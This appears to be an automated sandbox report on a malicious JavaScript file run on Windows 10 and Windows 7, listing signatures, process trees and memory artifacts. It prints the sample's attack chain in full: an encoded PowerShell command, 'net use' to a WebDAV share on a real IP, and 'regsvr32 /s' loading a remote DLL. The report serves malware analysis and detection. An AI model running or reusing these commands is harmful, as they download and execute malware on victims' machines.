Malware Analysis Report

2024-12-07 16:48

Sample ID 241113-lcgb6ayhle
Target 58751534976167198.js
SHA256 c0ec50c71d228d2fbdc8a9d91f2956eb73a2332bf3c989b14a8ca282f1a2a911
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

c0ec50c71d228d2fbdc8a9d91f2956eb73a2332bf3c989b14a8ca282f1a2a911

Threat Level: Shows suspicious behavior

The file 58751534976167198.js was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Enumerates physical storage devices

Command and Scripting Interpreter: JavaScript

Suspicious use of AdjustPrivilegeToken

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious behavior: CmdExeWriteProcessMemorySpam

Delays execution with timeout.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:23

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:23

Reported

2024-11-13 09:25

Platform

win10v2004-20241007-en

Max time kernel

94s

Max time network

136s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\58751534976167198.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\58751534976167198.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADYANAA2ADIAMQA5ADkAOQA5ADYAMAAzADMALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\16462199996033.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\16462199996033.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/4456-0-0x00007FFFA5FC3000-0x00007FFFA5FC5000-memory.dmp

memory/4456-1-0x0000024A518D0000-0x0000024A518F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwovivvo.lyd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4456-11-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

memory/4456-12-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

memory/4456-15-0x00007FFFA5FC0000-0x00007FFFA6A81000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:23

Reported

2024-11-13 09:25

Platform

win7-20241023-en

Max time kernel

120s

Max time network

121s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\58751534976167198.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2988 wrote to memory of 2280 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2280 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 2280 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2280 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2280 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2280 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2280 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2280 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2280 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2488 wrote to memory of 2132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2488 wrote to memory of 2132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2488 wrote to memory of 2132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2280 wrote to memory of 2760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2280 wrote to memory of 2760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2280 wrote to memory of 2760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2760 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2760 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2760 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2760 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2760 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\58751534976167198.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADYANAA2ADIAMQA5ADkAOQA5ADYAMAAzADMALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\16462199996033.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\16462199996033.dll

Network

N/A

Files

memory/2280-4-0x000007FEF59BE000-0x000007FEF59BF000-memory.dmp

memory/2280-5-0x000000001B630000-0x000000001B912000-memory.dmp

memory/2280-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

memory/2280-7-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

memory/2280-8-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

memory/2280-10-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

memory/2280-9-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

memory/2280-11-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

memory/2280-12-0x000007FEF5700000-0x000007FEF609D000-memory.dmp